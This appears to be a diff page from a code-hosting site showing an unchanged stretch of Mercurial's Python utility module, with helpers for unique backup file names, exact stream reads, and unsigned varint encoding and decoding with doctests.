3503
3504
3504 Returns a file name of the form oldname~tag[~number] which does not exist
3505 Returns a file name of the form oldname~tag[~number] which does not exist
3505 in the provided context and is not in the set of other names.
3506 in the provided context and is not in the set of other names.
3506 """
3507 """
3507 if others is None:
3508 if others is None:
3508 others = set()
3509 others = set()
3509
3510
3510 fn = b'%s~%s' % (f, tag)
3511 fn = b'%s~%s' % (f, tag)
3511 if fn not in ctx and fn not in others:
3512 if fn not in ctx and fn not in others:
3512 return fn
3513 return fn
3513 for n in itertools.count(1):
3514 for n in itertools.count(1):
3514 fn = b'%s~%s~%s' % (f, tag, n)
3515 fn = b'%s~%s~%s' % (f, tag, n)
3515 if fn not in ctx and fn not in others:
3516 if fn not in ctx and fn not in others:
3516 return fn
3517 return fn
3517
3518
3518
3519
3519 def readexactly(stream, n):
3520 def readexactly(stream, n):
3520 '''read n bytes from stream.read and abort if less was available'''
3521 '''read n bytes from stream.read and abort if less was available'''
3521 s = stream.read(n)
3522 s = stream.read(n)
3522 if len(s) < n:
3523 if len(s) < n:
3523 raise error.Abort(
3524 raise error.Abort(
3524 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3525 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3525 % (len(s), n)
3526 % (len(s), n)
3526 )
3527 )
3527 return s
3528 return s
3528
3529
3529
3530
3530 def uvarintencode(value):
3531 def uvarintencode(value):
3531 """Encode an unsigned integer value to a varint.
3532 """Encode an unsigned integer value to a varint.
3532
3533
3533 A varint is a variable length integer of 1 or more bytes. Each byte
3534 A varint is a variable length integer of 1 or more bytes. Each byte
3534 except the last has the most significant bit set. The lower 7 bits of
3535 except the last has the most significant bit set. The lower 7 bits of
3535 each byte store the 2's complement representation, least significant group
3536 each byte store the 2's complement representation, least significant group
3536 first.
3537 first.
3537
3538
3538 >>> uvarintencode(0)
3539 >>> uvarintencode(0)
3539 '\\x00'
3540 '\\x00'
3540 >>> uvarintencode(1)
3541 >>> uvarintencode(1)
3541 '\\x01'
3542 '\\x01'
3542 >>> uvarintencode(127)
3543 >>> uvarintencode(127)
3543 '\\x7f'
3544 '\\x7f'
3544 >>> uvarintencode(1337)
3545 >>> uvarintencode(1337)
3545 '\\xb9\\n'
3546 '\\xb9\\n'
3546 >>> uvarintencode(65536)
3547 >>> uvarintencode(65536)
3547 '\\x80\\x80\\x04'
3548 '\\x80\\x80\\x04'
3548 >>> uvarintencode(-1)
3549 >>> uvarintencode(-1)
3549 Traceback (most recent call last):
3550 Traceback (most recent call last):
3550 ...
3551 ...
3551 ProgrammingError: negative value for uvarint: -1
3552 ProgrammingError: negative value for uvarint: -1
3552 """
3553 """
3553 if value < 0:
3554 if value < 0:
3554 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3555 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3555 bits = value & 0x7F
3556 bits = value & 0x7F
3556 value >>= 7
3557 value >>= 7
3557 bytes = []
3558 bytes = []
3558 while value:
3559 while value:
3559 bytes.append(pycompat.bytechr(0x80 | bits))
3560 bytes.append(pycompat.bytechr(0x80 | bits))
3560 bits = value & 0x7F
3561 bits = value & 0x7F
3561 value >>= 7
3562 value >>= 7
3562 bytes.append(pycompat.bytechr(bits))
3563 bytes.append(pycompat.bytechr(bits))
3563
3564
3564 return b''.join(bytes)
3565 return b''.join(bytes)
3565
3566
3566
3567
3567 def uvarintdecodestream(fh):
3568 def uvarintdecodestream(fh):
3568 """Decode an unsigned variable length integer from a stream.
3569 """Decode an unsigned variable length integer from a stream.
3569
3570
3570 The passed argument is anything that has a ``.read(N)`` method.
3571 The passed argument is anything that has a ``.read(N)`` method.
3571
3572
3572 >>> try:
3573 >>> try:
3573 ... from StringIO import StringIO as BytesIO
3574 ... from StringIO import StringIO as BytesIO
3574 ... except ImportError:
3575 ... except ImportError:
3575 ... from io import BytesIO
3576 ... from io import BytesIO
3576 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3577 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3577 0
3578 0
3578 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3579 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3579 1
3580 1
3580 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3581 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3581 127
3582 127
3582 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3583 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3583 1337
3584 1337
3584 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3585 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3585 65536
3586 65536
3586 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3587 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3587 Traceback (most recent call last):
3588 Traceback (most recent call last):
3588 ...
3589 ...
3589 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3590 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3590 """
3591 """
3591 result = 0
3592 result = 0
3592 shift = 0
3593 shift = 0
3593 while True:
3594 while True:
3594 byte = ord(readexactly(fh, 1))
3595 byte = ord(readexactly(fh, 1))
3595 result |= (byte & 0x7F) << shift
3596 result |= (byte & 0x7F) << shift
3596 if not (byte & 0x80):
3597 if not (byte & 0x80):
3597 return result
3598 return result
3598 shift += 7
3599 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now